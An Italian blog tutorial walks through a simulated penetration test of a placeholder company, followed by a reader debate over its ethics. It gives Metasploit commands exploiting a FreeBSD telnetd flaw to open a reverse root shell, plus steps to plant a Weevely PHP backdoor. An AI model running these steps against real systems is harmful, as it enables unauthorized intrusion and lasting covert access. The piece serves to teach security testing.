,

Simulazione di un Penetration Test

network_security

Sommario

Viene presentata la simulazione di un attacco informatico, Penetration Testing, un metodo di valutare la sicurezza di un sistema o di una rete.
L’analisi viene condotta dalla posizione di un potenziale aggressore il quale attraverso più fasi individuerà una o più debolezze, tali vulnerabilità potranno essere sfruttare per compromettere il funzionamento del sistema.
Il Penetration Testing ha pertanto lo scopo di individuare vulnerabilità informatiche, rilevando il maggior numero di dettagli sulla vulnerabilità che permettono un accesso non autorizzato.

Abstract

Presents the simulation of a cyber attack, Penetration Testing, a method of evaluating the safety of a system or network.
The analysis is carried out from the position of a potential attacker, through multiple stages will identify one or more weaknesses, such vulnerability may be exploited to compromise the operation of the system.
The Penetration Testing therefore the aim of identifying computer vulnerabilities, noting many details on the vulnerabilities that allow unauthorized access.

Introduzione

La corsa agli armamenti è in atto, è quanto sostiene McAfee in un recente report, ma non per guerre materiali ma per attacchi informatici. La Sicurezza Informatica è ormai una priorità di tutti gli stati addirittura in alcuni casi maggiore della difesa missilistica, pertanto affronteremo in questo articolo una simulazione di un Penetration Test partendo dalle prime fasi di un attacco fino a fornire esempi pratici sulla metodologia applicata e i tools utilizzati.

L’attenzione verso la Sicurezza Informatica è cresciuta negli ultimi anni proporzionalmente alla diffusione di sistemi informatici e all’incremento della collettività nell’utilizzo dei PC. L’Hacker Etico è oggi una figura ricercata ed importante per grandi aziende o stati al fine di rilevare e sconfiggere eventuali minacce derivanti da attacchi informatici.

L’obbiettivo di un sistema protetto è di garantire l’accesso e l’integrità all’informazione ai soli utenti che ne hanno facoltà, impedendo l’accesso abusivo da parte di estranei o evitando l’alterazione delle informazioni in esso contenute.

Il Penetration Test è dunque il processo operativo in grado di valutare la sicurezza di un sistema o di una rete simulando l’attacco di un utente malintenzionato, il fine è l’ottenimento di informazioni protette o il controllo completo del sistema remoto sfruttando le proprie competenze, aiutandosi anche con software automatici. Auditor è colui che svolge tutte le attività di verifica operando con logiche medesime a quelle di un Hacker.

L’analisi intrapresa da un Auditor comprende più fasi ed ha l’obiettivo di evidenziare in un report le debolezze rilevate nella piattaforma, fornendo il maggior numero di informazioni sulle vulnerabilità sfruttate per ottenere l’accesso non autorizzato. Tutti i problemi rilevati vengono quindi presentati fornendo una stima chiara sull’attuale capacità di difesa e del livello di penetrazione raggiunto nei confronti delle vulnerabilità del sistema interne ed esterne ed eventualmente delle vulnerabilità fisiche.

L’Auditor non si fermerà ad analizzare i soli sistemi informatici ma potrà sfruttare tecniche di Ingegneria Sociale per verificare eventuali carenze formative del personale aziendale di fronte a tentativi di intrusione; questa modalità definita Hidden Mode prevede l’accordo esclusivamente con il consiglio amministrativo dell’azienda che commissiona le verifiche lasciando all’oscuro tutto il personale, compreso il settore IT dell’azienda.

Il Metodo

L’attacco ad un sistema si può suddividere in sei fasi principali:

  1. Information Gathering;
  2. Vulnerability Assessment;
  3. Exploitation;
  4. Privilege Escalation;
  5. Maintaining Access;
  6. Reporting.

L’Information Gathering ha l’obbiettivo di raccogliere informazioni utili sul bersaglio come una lista di nomi di dominio, l’architettura della piattaforma, delimitazione di indirizzi IP, sistemi e porte attive, servizi offerti ed infine un elenco di nominativi ed eMail utili in caso di attacco Social Engineering. I dati raccolti in questa fase ci permetteranno di scegliere la linea di attacco da seguire nel passo successivo.

L’attività di Vulnerability Assessment permette di identificare ogni vulnerabilità creando un quadro completo dello stato di esposizione della rete in analisi a tutte le vulnerabilità note, ma non è in grado di valutarne con precisione l’effettiva sfruttabilità. Per questa attività vengono abitualmente sfruttati tools automatici che grazie alla loro velocità di scansione permettono di analizzare in breve tempo un ampio numero di servizi.

La fase successiva di Exploitation permette di ricercare all’interno di un software una vulnerabilità in grado di provocare un imprevisto nel sistema bersaglio del nostro attacco. Questa tecnica spesso permette di ottenere il controllo di un sistema informatico, l’acquisizione di privilegi oppure un Denial of Service. Ci sono diversi metodi di classificazione degli exploit, più in generale avremo un exploit remoto se compiuto attraverso la rete o un exploit locale se si opera direttamente sul sistema.

Durante la fase di Privilege Escalation sfrutteremo l’accesso ricavato attraverso l’exploit per innalzare i propri privilegi; questo può avvenire sfruttando ulteriori vulnerabilità di sistema, sniffando pacchetti che transitano nella rete o semplicemente cercando di ottenere in chiaro le password di un utente amministratore.

Violato il sistema è indubbiamente preferibile crearsi un accesso comodo e duraturo in grado di poter operare in un secondo momento anche da remoto senza ripetere l’intera procedura di hack. Nella fase di Maintaining Access si installano abitualmente Backdoor o WebShell che ci permettono di avere il controllo immediato del sistema.

Infine la nostra attività di Pen Testing si conclude con la stesura di un Report dettagliato includendo tutte le vulnerabilità riscontrate, l’analisi dell’impatto di rischio ed eventualmente una possibile soluzione tecnica al problema. È anche buona prassi eliminare ogni eventuale traccia che si è lasciata nel sistema.

Simulazione di un Caso Reale

La nostra simulazione viene svolta sul modello Black Box nel quale non si ha alcuna conoscenza dell’infrastruttura oggetto dell’analisi; tutte le informazioni dovranno essere ricavate attraverso i nostri test. La simulazione verrà svolta sfruttando la distribuzione open source BackBox Linux, un sistema operativo dedicato al penetration testing. Utilizzando una distribuzione orientata al Pen Testing beneficiamo di avere un sistema flessibile ed ottimizzato per condurre diversi test di sicurezza informatica.

backbox

Information Gathering

In questa fase preliminare raccoglieremo quante più informazioni possibili sul nostro target al fine di ricavare preziosi dati da sfruttare nel corso della simulazione. Inizieremo quindi a ricavare l’indirizzo IP e il Whois dell’infrastruttura da controllare:

Digitando il comando:

$ host www.azienda.com && whois www.azienda.com

otterremo come risultato:

www.azienda.com is an alias for azienda.com .
azienda.com has address 123.456.789.001
azienda.com mail is handled by 10 mail.azienda.com .

Whois Server Version 2.0

Domain: azienda.com
Status: ok
Created: 2007-09-21 15:13:22
Last Update: 2011-10-06 01:28:38
Expire Date: 2012-09-21

Registrant
Name: Azienda srl
Organization: Azienda srl
ContactID: eMail@azienda.com
Phone: +39-051-123456
Fax: +39-051-654321

Registrar
Organization: Provider XYZ
Name: XYZ-REG
Web: http://www.XYZ.com

Nameservers
dns.dnsservice.com
dns2.dnsservice.com

Come è possibile notare dall’output abbiamo iniziato a raccogliere le prime informazioni fondamentali, che per comodità sono state evidenziate. L’indirizzo IP ci servirà per proseguire nella nostra analisi, inoltre abbiamo già rilevato un Mail Server sulla stessa macchina e tre possibili contatti (eMail, Telefono, Fax) dell’azienda utili per un eventuale attacco di tipo Social Engineering.

Una eventuale ulteriore comprova della presenza del Mail Server all’interno della stessa macchina possiamo ottenerla attraverso il comando dig con argomento any, in grado anche di rilevarci i DNS sfruttati dal dominio.

$ dig azienda.com any

;; QUESTION SECTION:
;azienda.com . IN ANY

;; ANSWER SECTION:
azienda.com . 5 IN A 123.456.789.001 .
azienda.com . 5 IN MX 10 mail.azienda.com .
azienda.com . 5 IN NS dns.dnsservice.com .
azienda.com . 5 IN NS dns2.dnsservice.com .

Raccolte le informazioni base della struttura in analisi procediamo ad effettuare un Port Scanning sfruttando Nmap, un software libero in grado di individuare le porte aperte e i servizi di rete disponibili sul sistema bersaglio o anche su un range di indirizzi IP. Nmap è sicuramente uno strumento indispensabile per un Auditor, il software è disponibile su linea di comando ma per chi volesse sfruttare una pratica interfaccia grafica è possibile utilizzare il software Zenmap.

Per analizzare le porte aperte nel nostro sistema avente IP 123.456.789.001 lanceremo il comando:

$ nmap -T4 -A -v www.azienda.com

L’argomento A ci permette di effettuare una analisi completa del sistema determinando la versione del sistema operativo, dei servizi attivi e misura i tempi di percorrenza verso l’host (Trace Route). L’argomento T4 permette di ottenere una esecuzione più rapida ed infine l’argomento V (verbosity) permette di avere un rapporto completo dei risultati ottenuti. Un sunto del report visualizzato è il seguente:

Starting Nmap 5.51 ( http://nmap.org )
Scanning www.azienda.com (123.456.789.001) [4 ports]
Completed Ping Scan at 10:55, 0.01s elapsed (1 total hosts)

Scanning www.azienda.com (123.456.789.001) [1000 ports]
Discovered open port 25/tcp on 123.456.789.001
Discovered open port 80/tcp on 123.456.789.001
Discovered open port 21/tcp on 123.456.789.001
Discovered open port 143/tcp on 123.456.789.001
Discovered open port 22/tcp on 123.456.789.001
Discovered open port 3306/tcp on 123.456.789.001
Discovered open port 993/tcp on 123.456.789.001
Discovered open port 443/tcp on 123.456.789.001
Discovered open port 465/tcp on 123.456.789.001

Il quale ci conferma ancora una volta l’indirizzo IP in precedenza rilevato con il comando host e l’identificazione di 9 porte associate ai corrispettivi servizi (FTP, SSH, IMAP, SMTP, ecc ecc).

Ottenute queste informazione usufruiremo del software Maltego (http://www.paterva.com/) per organizzare al meglio i dati raccolti tracciando uno schema completo e dettagliato sulla natura della rete che stiamo esaminando.

Vulnerability Assessment

Raccolti i principali dati possiamo procedere ad una analisi automatizzata dei servizi attivi sul sistema, ci serviremo di OpenVAS un framework libero rilasciato sotto licenza GPL per la scansione automatica delle vulnerabilità. È un fork del famoso security scanner Nessus il quale venne reso a pagamento dalla versione 2.5.

OpenVAS sfrutta una comoda interfaccia WEB per interagire con l’utente ed è un software preinstallato su BackBox disponibile all’interno del menu “Auditing” > “Vulnerability Assessment” ma è fondamentale lanciare i servizi ad esso associati dal menu “Services” di BackBox.

OpenVas ci permette di ottenere in breve tempo una scansione automatizzata di tutti i servizi attivi sul sistema e di individuare eventuali vulnerabilità note, toccherà a noi selezionare tra i possibili risultati l’exploit adatto al nostro scopo.

È possibile verificare online i diversi exploit disponibili attraverso i due principali motori di ricerca 1337day.com e exploit-db.com.

openvas

Exploitation e Privilege Escalation

L’analisi condotta con OpenVAS ha portato alla luce l’utilizzo del sistema operativo FreeBSD sulla macchina in analisi. FreeBSD è un sistema operativo di tipo UNIX sfruttato principalmente in ambito server grazie alla sua ottima stabilità e la scalabilità della parte di networking.

Nel dicembre 2011 è stato rilasciato il bollettino CVE:2011-4862 in quale comunica un exploit di tipo remoto per tutte le versione di FreeBSD 8.2 o minori. La vulnerabilità sfrutta un Buffer Overflow del servizio telnetd il quale ci permette di ottenere l’accesso remoto al sistema con anche i permessi di root.

Per sfruttare la vulnerabilità utilizzeremo Metasploit, uno strumento per lo sviluppo o l’esecuzione di exploit, al suo interno raccoglie diverse utility e centinaia di exploit. Metasloit è disponibile all’interno di BackBox all’interno del menu “Exploiitation”.

Procediamo innanzitutto ad aggiornare Metasploit

$ msfupdate

avviamolo

$ msfconsole

Ora impostiamo l’exploit da sfruttare:

> use exploit/freebsd/telnet/telnet_encrypt_keyid

Impostiamo l’host della macchina in analisi:

> set RHOST 123.456.789.001

Impostiamo il Payload con quello di default di Metasploit:

> set PAYLOAD bsd/x86/shell/reverse_tcp

Impostiamo l’host locale della nostra macchina:

> set LHOST 192.168.0.15

ed infine lanciamo l’exploit:

> exploit

Abbiamo così ottenuto l’accesso al sistema tramite una shell remota con i completi poteri dell’utente root, verificabile attraverso i seguenti due comandi:

$ id && uname -a

msf

Se l’accesso al sistema non ci permette di ottenere l’immediato accesso di root dovremo sfruttare un ulteriore vulnerabilità per potere acquisire il controllo completo del terminale, solitamente si verifica la versione del Kernel per poi analizzare eventuali exploit ad esso associati.

Un recente Exploit di Gennaio 2012 permette di ottenere i permessi di root su tutti i sistemi Linux 32Bit e 64Bit aventi Kernel 2.6.39 o maggiore (CVE-2012-0056).

Maintaining Access

Ottenuto l’accesso di root al sistema è possibile sfruttare una backdoor per accedere successivamente in maniera più agevole al sistema. Weevely è un software che ci permette di creare e gestire un Trojan PHP realizzato per essere difficilmente rilevato, è disponibile nel menu “Backdoors” di BackBox, per generare la backdoor digitiamo:

$ weevely generate password /~/weevely.php

Ora caricheremo la backdoor sul server remoto alla quale sarà possibile accedervi digitando semplicemente:

$ weevely http://www.azienda.com/weevely.php password

weevely

Reporting

Stilare un report o condividere i risultati ottenuti con il proprio team è uno degli aspetti più importanti per un ottima analisi di Pen Testing, in supporto a questa attività è disponibile Dradis un framework open source dedicato al mondo della sicurezza informatica disponibile come applicativo Web. Dradis è disponibile in BackBox nel menu “Documentation e Reporting”.

  • ND

    un vero e proprio invito alla violenza! COMPLIMENTI

    • Quale violenza?

      Il 09/01/13 18:39, Disqus ha scritto:

    • anonimo

      ehm,prima di scrivere commenti,quali sono le tue competenze informatiche,oltre all’uso di mozilla o chrome?

    • Sergio

      Prima di scrivere certe cose dovresti capire che tutto questo viene stilato per insegnare alla gente come difendersi da certi attacchi…dove vedi violenza in tutto questo?!?!? La violenza informatica è quando vuoi fare dei danni, non aiutare gli altri.

  • NN

    VERGOGNA!

    • Io mi vergognerei a scrivere certi commenti, senza spiegarsi.

      Andrea

      Il 09/01/13 18:39, Disqus ha scritto:

      • AndyBat

        Forse ha frainteso di che tipo di penetration tratta il tuo articolo!

        • Luca d’Addabbo

          un mito ahaha

  • Dmn

     Complimenti, ottimo articolo!

    • Grazie 😉

      Andrea

    • KAW

      ottimo articolo…….. la conoscenza nn è mai abbastanza GRAZIE

      • Grazie!

        Il giorno 10/gen/2013, alle ore 19:43, “Disqus” ha scritto:

  • Joseph Josta Seu

    NN (curioso accostamento di lettere che si metteva all’anagrafe per i figli di nessuno)

    Non basta un ottimo spiegone per fare “violenza”.Cmq bravo Andrea.

  • ND

    Signori questa non è sicurezza (come introdotto nel sommario), è l’antitesi della sicurezza!!!, spiegare così nel dettaglio uso di programmi per “l’exploit”, “privilege escalation” e “Backdoors access” non è un puro insegnamento per hacker (studiosi curiosi!) ma per cracker (studiosi figli di p…. cit[@google-919318950724308006022a5e1fe51d8f:disqus]). A me personalmente non sembra assolutamente un modo per debellare il cyber-crime, anzi completamente l’opposto.

    @c510febb9bed68b5cc4a09f076701e0f:disqus impara ad usare seriamente Telnet secondo me è meglio.Con questo CHIUDO! non meritate altro.

    • Autorevoli aziende richiedono la consulenza di esperti per effettuare dei test di penetrazione controllata per verificare la stabilità e la sicurezza delle proprie piattaforme informatiche.

      Tali test vengono condotti per evitare che gli “studiosi fidli di p****a” non possano arrecare danni.

      Andrea

      • ND

        hahahahaha! Sg. Draghetti le rispondo perchè mi fa sbellicare dalle risate.
        Se questo è il suo modo per evitare attacchi dei cosiddetti “studiosi figli di p****a”, siamo messi bene… se non se ne è reso conto lei ha dato in pasto ai moicani un pò di nozioni.
        Ci pensi è ritiri tutto!.

        • Se lei Sig. NN pensa che questo blog venga letto esclusivamente da “moicani” o da “studiosi figli di p***a” come lei stesso li definisci si sbaglia. Diversi professionisti quotidianamente ci seguo e ci contattano per complimentarsi del nostro lavoro, ne è una dimostrazione il nostro nome su diverse testate Italiane.

          I termini tecnici e le informazioni contenute in questo articolo le danno dimostrazione, evidente, del target di utenti che è stato volutamente ricercato e si fidi non è affatto quello dei giovani lamer che scriverebbero l’articolo con slang e informazioni completamente diverse.
          Inoltre la invito a firmarsi.

          Cordiali

          • Amiam_gnammo

             scusa ND se il sito di Draghetti non è bello quanto il tuo…
            sai il tuo sito… quello privo di violenza… che parla di sicurezza… che spiega bene la differenza tra hacker e cracker…. telnet…. ma senza dare nulla in pasto ai moicani… quelli del film di Mann forse… o forse no… dato che moicani si scrive con l’h…. comunque si… proprio un bel sito il tuo.

        • Sergio

          Ti assicuro che quelli che descrivi come “moicani” queste cose le conoscono già…gli studiosi “figli di p…” come lei li descrive hanno insegnato a milioni di persone come non far compromettere le loro applicazioni e reti dai “moicani”…

  • Xy

    ND capisco che il mondo è maligno con te e tutti ti odiano..xò la prox volta potresti andarti a sfogare da un’altra parte?

    • kaw

      Scusate ma non credete di dare troppa importanza al sig ne?

  • Responder

    Bla bla bla,, c’è una classe informatica che dinega, dispereggia ed incolpa un blog per una simulazione.
    Queste cose  sono alla portata di tutti,da quando c’e internet c’è tutto.
    Non c’è da meravigliarsi e commentare negativamente su chi illustra e spiega un lavoro.

  • Pinco

    Ciao, sperando di non offendere la tua professionalita`, desidero lasciare un commento .
    Trovo la parte del  Information Gathering molto succinta , 3 comandi sono un po pochi .
    A questo punto , avrei preferito vedere in azione Maltego , tanto per rendere piu chiaro il concetto .
    Lo scan port idem , nmap E’ una vera potenza , dotato di ogni ben di Dio , potevi accennare all’opzione -D e di qualche Script i quali permettono di carpire molte info sui servizi .
    Detta come da te descritto , qualsiasi “persona” fa un pentest 🙂
    Considero il Pentest un Arte , oltre ad essere costretti ad uno studio approfondito su protocolli e servizi , necessita di tanta passione .
    Comunque sia , apprezzo cio che hai Condiviso con la Rete .
    Saluti

    Enrico

    • Ciao Enrico,
      i commenti costruttivi non sono affatto offensivi…ritengo quindi di grande importanza ciò che ho voluto condividere.
      Saprò mettere in pratica i tuoi consigli in un futuro articolo o in una eventuale integrazione!
      Grazie ancora..
      Andrea

      Il giorno 12/gen/2013, alle ore 19:02, “Disqus” ha scritto:

  • Alada37

    Ma non mi sembra che abbia spiegato la formula segreta della coca cola!? Non  credo che le macchine BSD in rete abbiamo molto da temere… volete capirlo che non ci sono segreti ma solo persone che in segreto fanno cazzate? E’ un tutorial ben fatto che magari toglie qualche dubbio e incoraggia chi vuole capirne di più sull’ argomento.

  • Suca

    complimenti e don’t feed the troll….

  • Paolo

    Articolo ben fatto e interessante. Grazie per la condivisione. Ciao.

  • denis frati

    Ciao Andrea,
    bravo come sempre.
    Triste vedere che ancor oggi qualcuno pensa che sia meglio oscurare che spiegare. Comunque non è il caso di curarsi dei commenti di chi non è capace di prendersi la responsabilità del proprio pensiero apponendo una firma.

  • Luca Carettoni

    Immagino (e spero) che tu faccia parte di www.azienda.com
    Altrimenti usarlo come esempio non e’ molto brillante

    • Mi spiace, ma non conosco azienda.com

      Andrea

      Il 14/01/13 21:10, Disqus ha scritto:

      • Luca Carettoni

        Descrizioni e screenshots suggeriscono che tu hai fatto un portscan, una passata di OpenVAS e usato Metasploit verso “azienda.com” – che e’ un dominio valido e gestito da terzi. Sob!

        • Dirc

          Ma che dici? Non vedi che ha messo indirizzi ip totalmente fake? il che significa che anche gli altri dati (porte, mantainer, etc.) sono tutti fake! 

          • thesp0nge

            @f29fce440aa15a541982d978276f9621:disqus quello che @f556deeff7d35483da58a973d49d5fca:disqus sta dicendo è che il nome dominio scelto è infelice in quando azienda.com è un dominio che esiste veramente.

            Ikki, ha solo scelto in maniera infelice il nome del dominio secondo me

        • Sergio

          Ma non vedi che l’ip non è quello reale?!?!? 🙁

  • Ospite
    • Certamente, come è ben noto io e Raffaele collaboriamo per lo sviluppo di BackBox!

      Tale articolo era stato scritto quasi in concomitanza a quello di Raffaele ma ha spunti ed esempi diversi.

      Andrea

      Il 15/01/13 08:30, Disqus ha scritto:

      • Ospite

        ma l’articolo che ho linkato e’ datato 1 novembre 2011… siamo a gennaio 2013, come puo’ essere stato scritto in coincidenza? 😮

        tra l’altro, quell’articolo, come questo, ha titolo e contenuti poco attinenti con l’idea di “penetration test” – ma vedo che questa cosa non l’ho notata solo io…

        • È stato scritto in periodo molto ravvicinati, ma il mio è stato a disposizione dell’ISCOM per un anno e pertanto non ho potuto pubblicarlo precedentemente.

          Andrea

  • thesp0nge

    Ciao @drego85:disqus riporto anche qui qualche considerazione che ho avuto modo di fare su sikurezza.org

    Dal post non si capisce bene se stai descrivendo un’attività di ethical hacking autorizzata dal cliente e quindi manca la parte di manleva delle tue responsabilità, considerazioni al contorno circa l’ambiente di produzione che stai testando e soprattutto come scrivere in maniera efficace un report con i risultati raccolti (magari può essere una seconda puntata).

    Non consideri però nel tuo esempio che la macchina può avere davanti a se dei firewall, dei WAF, può essere protetta con degli IDS/IPS quindi in realtà ci possono essere tante cose che falserebbero un’attività autorizzata.

    Non ultimo… non credo proprio che mettere una backdoor su una macchina di un tuo cliente giovi ai vostri rapporti futuri di collaborazione 🙂 (sono certo che non lo fai).

    Se invece stai descrivendo lo scenario tipici di un attacco ostile… nmap -A -T4 fa accendere su di te tutti i riflettori del mondo. Lanciando OpenVAS (che è un giocattolo) anche il più clueless dei sysadmin capirebbe che c’è qualcosa che non va.

    Il tutto è tanto IMHO, ovviamente

    Ciao 
    Paolo

    • Ciao Paolo,
      grazie mille della condivisione del tuo pensiero.

      Come riferito in altri commenti, la mia intenzione non era certo quella di creare un vademecum universale sul PT ma di rivolgermi agli ethical hacker con un accenno sulla materia. Indubbiamente i vostri suggerimenti/critiche sapranno aiutarmi al meglio su una futura ristesura dell’articolo!

      OpenVAS l’avevo scelto per la sua natura Free and Open Source, ma indubbiamente vi sono altri strumenti dei quali ho già parlato sul blog.
      Per ultimo capisco benissimo che la Backdoor può essere un’arma a doppio taglio ma in alcuni casi può tornare utile soprattutto se l’analisi deve essere condotta per diverso tempo, con la giusta verifica contrattuale del cliente.

      Andrea

      • thesp0nge

        Ciao @drego85:disqus quello però che non capisco è… se la macchina l’hai bucata e sei root/admin invece di piazzare una backdoor ti puoi creare banalmente un’utenza no?

        Io non ho mai usato questo sistema. Anche perché una volta preso il target, la macchina è compromessa e la tua attività può dirsi conclusa con successo… il tempo materiale di prendere gli screenshot per il report e poi quella macchina va rifatta ex-novo.

        Tutto qui.

        • Daniele Quasimodo

          Non è detto che la macchina compromessa sia l’obbiettivo ultimo, anzi probabilmente è solo un primo avamposto per un analisi più approfondita della rete.

  • fast

     Vorrei spendere 2 parole a favore di Andrea. Non è che pubblicando un articolo con alcune nozioni di base su come impostare un pen test scateni un’orda di criminali pronti ad attaccare i sistemi informatici di tutto il mondo…. sarebbe troppo semplice e banale. Se uno è un criminale senza competenze, ma con aspirazioni, googola per la rete, trova comandi, script di cui non ha un’idea e li lancia sperando di fare dell’hacking.  Vogliamo tornare all’oscurantismo?
    PS penso che ND non abbia un’idea di cosa sia un attacco informatico e tantomeno di una rete protetta.

    Bravo Andrea

  • LamahKillaH

    a parte che ti hanno detto tutti che non centra niente con il mercato della security/ethical hacking (che poi è tanto fuffa pure quello), mi sembra infantile il fatto che tu ti offendi se la gente ti critica… dovresti imparare ad accettare le critiche per migliorarti; e magari smettere di leggere hacker journal o tutte le puttanate per ragazzini, penso ti aiuterebbe… hacking / pentesting non è imparare a usare metasploit, nmap, nessus etc ma tutt’altro…

    studia di più e menatela di meno perfavore… faresti un favore anche a te stesso.

    • L’offesa è nata da un aggettivo dispregiativo che mi è stato appioppato, script kiddie, per quanto riguardo le critiche e i suggerimenti come noterai nei commenti son sempre ben accetti ed in grado di migliorare la mia personale esperienza.

      Andrea

  • Eugenio Costa

    Sicuramente il titolo all’articolo NON rispecchia il contenuto.
    Un PT è qualcosa di molto di più di quanto descritto in questo articolo: l’autorizzazione esplicita ad operare sulle macchine (soprattutto se in produzione!), la ricerca di informazioni, reportistica e documentazione.

    La cosa della backdoor proprio non mi piace

    Quello descritto è un vero e proprio attacco informatico, non un PT.

    Cordialmente
    Eugenio

    • La backdoor, come scritto in altri commenti, può tornare utile a distanza di giorni per individuare altri dettagli e non a fine malevoli come probabilmente avrete pensato. Vi sono casi reali che dimostrano la necessità di usare tali tecniche.

      Accolgo e ti ringrazio il suggerimento sugli altri temi da trattare, indubbiamente non vuole essere questo articolo il vademecum universale ma un piccolo inizio al PT! Saprò come integrare al meglio la seconda versione del mio vademecum!

      Grazie
      Andrea

  • Emailspam

    “Violato il sistema è indubbiamente preferibile crearsi un accesso comodo e duraturo in grado di poter operare in un secondo momento anche da remoto senza ripetere l’intera procedura di hack. Nella fase di Maintaining Access si installano abitualmente Backdoor o WebShell che ci permettono di avere il controllo immediato del sistema.”

    E’ utile sapere e dire che:1) Un penetration test và concordato sempre con il cliente responsabile del sistema target.2) Quasi sempre per policy aziendale un penetration tester, tanto più se esterno all’azienda, non può in nessun modo istallare sorta di che sulle macchine del cliente – figuriamoci una backdoor.3) Ai sensi dell’art. 615-ter del codice penale, l’accesso abusivo ad un sistema informatico o telematico è il reato di chi abusivamente si introduce in un sistema informatico o telematico protetto da misure di sicurezza ovvero vi si mantiene contro la volontà espressa o tacita di chi ha il diritto di escluderloLa pena ordinaria prevista per il delitto, perseguibile a querela della parte offesa salvo che non ricorra alcuna fra le previste circostanze aggravanti, nel qual caso sarebbe procedibile d’ufficio, è la reclusione fino a 3 anni(fonte:wikipedia)

    • 1) Ampiamente d’accordo;
      2) Certamente è una questione contrattuale ma vi sono situazioni reali e riportate in cui una backdoor (a fini non malevoli) può aiutare il penetration tester a individuare ulteriori dettagli a distanza di giorni; 3) Nuovamente d’accordo, come indicato più volte non vuole essere il mio articolo un pretesto per incentivare il cracking ma l’ethical hacking!
      Grazie della condivisione.
      Andrea

  • Eennrriiccoo

    Complimenti Andrea, un articolo che invoglia ad approfondire il tema del penetration testing.
    Attendo con impazienza la seconda versione, anche perchè i vari “criticoni” non hanno fornito alcuna informazione utile a supporto.

  • Complimenti per l’articolo!
    E a chi lo giudica come un’istigazione alla violenza, vorrei solo dire che la conoscenza non è mai un danno. Anzichè un’istigazione alla violenza la vedo come una messa in coscenza per le vittime che possono sapere meglio da cosa devono difendersi.
    Ciao!

  • Pinperepette

    L’articolo mi piace, è ben fatto e ben scritto… Il metodo descritto è un opzione che difficilmente potrebbe essere presa in considerazione da un utente malintenzionato, perchè in molti passaggi troppo “rumorosa” 🙂 … quindi sono completamente in disaccordo con chi dice che istiga violenza XD

    • Grazie!

      Il giorno 22/gen/2013, alle ore 12:11, “Disqus” ha scritto:

  • faredigitale

    Vorrei ricordare a tutti i lettori una cosa, una soltanto: che differenza c’è tra white e black hacking? E’ tutto qui, nella risposta. Buon tutto

    • Ospite

      da cosa e come scrivi e’ evidente che non sai quello che stai dicendo.

  • faredigitale

    ospite, sei patetico! Volevo solo far riflettere sul fatto che la conoscenza può essere “buona o cattiva”, a seconda dell’uso che ne fa, per chiudere la bagarre in corso, ma è abbastanza evidente che non ci arrivi… ;D

  • E’ incredibile, appena di parla di penetration test, hacking o cracking, ecc. maree di persone discutono, scaricano le distro dedicate, affollano i blog…di contro sulle cose di digital forensics, quattro gatti…ora mi domando, siamo una nazione di esperti informatici vocati al PT o è che il PT/hacking attrae i bimbiminkia, che si confondono insieme ai veri esperti? Non è per fare confronti, ma forse nelle altre discipline dove c’è meno scriptkiddismo e più da studiare, si vede che c’è meno gusto e non si riesce a fare i fighi con gli amichetti al pub 😀 sbaglio?

    • Ciao Nanni,

      sicuramente il PT attrae l’attenzione di moltissime persone che erroneamente lo confondono con lo “smanettamento” o da mosse fighe da far vedere agli amichetti al pub come tu stesso accenni.

      Ma come ben sai il PT è una operazione che permette di migliorare la sicurezza di società e utenti individuandone vulnerabilità fisiche o logiche.

      La DF è altrettanto una materia complessa e piena di responsabilità, ma non credo di doverti insegnare nulla! 😛

      Ho apprezzato moltissimo i commenti, anche negativi, che mi permetteranno di rividere l’articolo e di riscriverlo integrando o migliorando diversi punti. E chissà magari con la tua collaborazione potremo farne un fac simile sulla Digital Forensics.

      Andrea

  • Jarod56

    Vorrei informare tutti gli indignati che queste nozioni di base vengono insegnate in quasi tutte le facoltà di informatica (Italiane e non), in molti corsi di aggiornamento, seminati, ecc. Non sto parlando di corsi di sicurezza aziendali specifici e limitati ad un settore di nicchia ma a corsi che possono essere frequentati liberamente e gratuitamente da chiunque. Il problema è il solito, anche un coltello può essere mortale se usato in certi modi, sta al buon senso delle persone.

  • WhiteHatWoman

    Sto per concludere l’università (Ing.Informatica Politecnico di Torino), mi sono appassionata alla sicurezza informatica, ma all’università era previsto solo un corso. Sto cercando lavoro all’estero, ma le aziende richiedono diversi anni di esperienza per lavorare in questo settore ed è chiaro che un neolaureato parte svantaggiato. Quindi personalmente ho deciso di documentarmi e studiare da sola per conto mio, in modo da arrivare preparata a un eventuale colloquio e poter quindi risaltare in fase di selezione. Che dire? Per me è un bene che esistano questi blog! Grazie!

    • rodrigo

      Conosci aziende di torino o piemonte del settore?

  • w00t

    Scusa tu saresti un “IT SECURITY RESEARCHER” ??? ahshhshshshashashashashahshshashashashashashashashshas ascolta.. vendi solo cellulari… e lascia perdere il resto…. ashhashshashashhdhhd e non mi esprimo sulle tue 2 “security advisor” ahshdhsdhdhhhdhasdhhasdhasdadashdah

  • Senatore K

    La ringrazio Sig. Draghetti per la magnifica presentazione sull’argomento.
    Sono alle prime armi in questo campo e sto imparando molto, anche grazie a lei!

  • ranma

    ottimo articolo, per essere precisi le fasi del pen-test sono 7, però complimenti come segnalato da http://www.pentest-standard.org/index.php/Main_Page

  • Ric

    è un articolo che a me ha fatto risparmiare un bel pò di soldi. mi rendo conto che messo in mano di maleintenzionati può essere un’arma ma il problema è di come si usa uno strumento non dello strumento.

    grazie Andrea.

  • Mido

    una domanda. la stesura del report di penetration tester in Italia
    si scrivono in inglese o nell italiano ? Grazie..

  • and xlad

    Andrè bravo, a distanza di anni, ora leggo il tuo bellissimo articolo, e lascia perdere le chiacchiere inutili di chi ti accusa di essere un Violento, pazzesco.
    Io non riesco ad entrare in openvas, mi chiede la username e passw.
    qualsiasi cosa metto, errato.
    Come posso risolvere?
    Ciao, Andrea pure io.